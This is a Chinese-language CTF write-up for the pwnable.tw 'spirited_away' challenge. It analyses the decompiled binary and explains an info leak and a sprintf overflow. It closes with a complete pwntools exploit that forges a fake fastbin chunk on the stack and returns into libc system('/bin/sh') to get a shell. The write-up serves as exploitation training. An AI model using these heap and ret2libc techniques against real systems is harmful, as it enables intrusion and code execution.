1 程序分析

32 位,没开 PIE 且没有 Canary,libc 版本为 2.23

1
2
3
4
5
6
7
8
9
10
11
12
13
(pwn)secreu@Vanilla:~/code/pwnable/spirited_away$ checksec --file=spirited_away
[*] '/home/secreu/code/pwnable/spirited_away/spirited_away'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8046000)
RUNPATH: b'./'
Stripped: No
(pwn)secreu@Vanilla:~/code/pwnable/spirited_away$ strings libc_32.so.6 | grep "GNU"
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al.
Compiled by GNU CC version 5.4.0 20160609.
GNU Libidn by Simon Josefsson

主函数 survey,功能就是存放一些用户输入的影评到栈/堆上

  • name:60 字节写入 buf = malloc(0x3c)
  • age:4 字节整型写入 v5
  • reason:80 字节写入 v7
  • comment:60 字节写入 s

上面这些东西输入一轮就 ++cnt,调用 printf 输出一遍用户输入

然后用 snprintf 拼接 cnt 和一段字符串到 v1 上,再 printf 输出

最后询问是否继续留影评,最多留 200 条,也就是循环 200 次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
int __cdecl main(int argc, const char **argv, const char **envp)
{
puts("Thanks for watching Spirited Away!");
puts("Please leave some comments to help us improve our next movie!");
fflush(stdout);
return survey();
}

int survey()
{
char v1[56]; // [esp+10h] [ebp-E8h] BYREF
size_t nbytes; // [esp+48h] [ebp-B0h]
size_t v3; // [esp+4Ch] [ebp-ACh]
char s[80]; // [esp+50h] [ebp-A8h] BYREF
int v5; // [esp+A0h] [ebp-58h] BYREF
void *buf; // [esp+A4h] [ebp-54h]
char v7[80]; // [esp+A8h] [ebp-50h] BYREF

nbytes = 60;
v3 = 80;
LABEL_2:
memset(s, 0, sizeof(s));
buf = malloc(0x3Cu);
printf("\nPlease enter your name: ");
fflush(stdout);
read(0, buf, nbytes);
printf("Please enter your age: ");
fflush(stdout);
__isoc99_scanf("%d", &v5);
printf("Why did you came to see this movie? ");
fflush(stdout);
read(0, v7, v3);
fflush(stdout);
printf("Please enter your comment: ");
fflush(stdout);
read(0, s, nbytes);
++cnt;
printf("Name: %s\n", (const char *)buf);
printf("Age: %d\n", v5);
printf("Reason: %s\n", v7);
printf("Comment: %s\n\n", s);
fflush(stdout);
sprintf(v1, "%d comment so far. We will review them as soon as we can", cnt);
puts(v1);
puts(&::s);
fflush(stdout);
if ( cnt > 199 )
{
puts("200 comments is enough!");
fflush(stdout);
exit(0);
}
while ( 1 )
{
printf("Would you like to leave another comment? <y/n>: ");
fflush(stdout);
read(0, &choice, 3u);
if ( choice == 89 || choice == 121 )
{
free(buf);
goto LABEL_2;
}
if ( choice == 78 || choice == 110 )
break;
puts("Wrong choice.");
fflush(stdout);
}
puts("Bye!");
return fflush(stdout);
}

2 漏洞利用

有 2 个漏洞点

  1. printf("Reason: %s\n", v7) 存在信息泄露,只要填满 v7 80 字节就可以泄露 saved ebp、saved eip 等信息
  2. sprintf(v1, "%d comment so far. We will review them as soon as we can", cnt) 存在缓冲区溢出,v1 只有 56 字节,当 10 <= cnt < 100nbytes 被覆盖成 0,当 cnt >= 100nbytes 被覆盖成 ‘n’,即 0x6e,就可以利用 nbytes == 0x6e 越界写

注意当 10 <= cnt < 100 时,nbytes == 0,不需要再输入 name 和 comment

利用思路:

  1. 先循环 99 次输入,第 100 次输入 80 字节 reason 填满 v7,从而泄露出栈地址和 libc 地址
  2. 第 101 次循环,此时 nbytes 已被覆盖成 0x6e,发送 reason 在 v7 上伪造 fake chunk,发送 comment 越界覆盖 buf 为伪造的 fake chunk 地址,利用 free 将其加入 fastbin
  3. 第 102 次循环,malloc 拿到栈上的 fake chunk,发送 name 写栈上的返回地址实现 Ret2libc

注意 free 会检查 next size,注需要伪造 next chunk 的 size 位

3 EXP

远程要交互很久,可能中途断连,如果有日本服务器会快很多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *

elf = ELF("./spirited_away")
libc = ELF("./libc_32.so.6")

context(os=elf.os, arch=elf.arch, log_level='debug')

def submit(name: bytes, age: int, reason: bytes, comment: bytes):
io.sendafter(b"your name: ", name)
io.sendlineafter(b"your age: ", str(age).encode())
io.sendafter(b"this movie? ", reason)
io.sendafter(b"your comment: ", comment)

def submit_nbytes_0(age: int, reason: bytes):
io.sendlineafter(b"your age: ", str(age).encode())
io.sendafter(b"this movie? ", reason)

def exploit():
name, age, reason, comment = b'A', 0x20, b'B', b'C'
for _ in range(10):
submit(name, age, reason, comment)
io.sendafter(b"<y/n>: ", b'y')
for _ in range(89):
submit_nbytes_0(age, reason)
io.sendafter(b"<y/n>: ", b'y')

reason = b'B' * 80
submit_nbytes_0(age, reason)

io.recvuntil(b'B' * 80)
stack_leak = u32(io.recvn(4))
elf_leak = u32(io.recvn(4))
libc_leak = u32(io.recvn(4))
# libc_base = libc_leak - libc.symbols['_IO_2_1_stdout_']
libc_base = libc_leak - 0x1B0D60

log.info(f"stack_leak: {hex(stack_leak)}")
log.info(f"elf_leak: {hex(elf_leak)}")
log.info(f"libc_leak: {hex(libc_leak)}")
log.info(f"libc_base: {hex(libc_base)}")

ebp = stack_leak - 0x20
# system = libc_base + libc.symbols['system']
system = libc_base + 0x3A940
# binsh = libc_base + next(libc.search(b'/bin/sh'))
binsh = libc_base + 0x158E8B

log.info(f"ebp: {hex(ebp)}")
log.info(f"system: {hex(system)}")
log.info(f"binsh: {hex(binsh)}")

io.sendafter(b"<y/n>: ", b'y')

modify_buf_addr = b'C' * 80 + p32(age) + p32(ebp - 0x48)
fake_chunk = p32(0) + p32(0x41) + b'B' * 60 + p32(0x1009)

submit(name, age, fake_chunk, modify_buf_addr)
io.sendafter(b"<y/n>: ", b'y')

payload = b'A' * 0x48 + p32(stack_leak) + p32(system) + p32(elf_leak) + p32(binsh)
submit(payload, age, reason, comment)
io.sendafter(b"<y/n>: ", b'n')

io.interactive()


if __name__ == "__main__":
if args.REMOTE:
io = remote("chall.pwnable.tw", 10204, timeout=10)
else:
io = process(elf.path)

exploit()
# cat /home/spirited_away/flag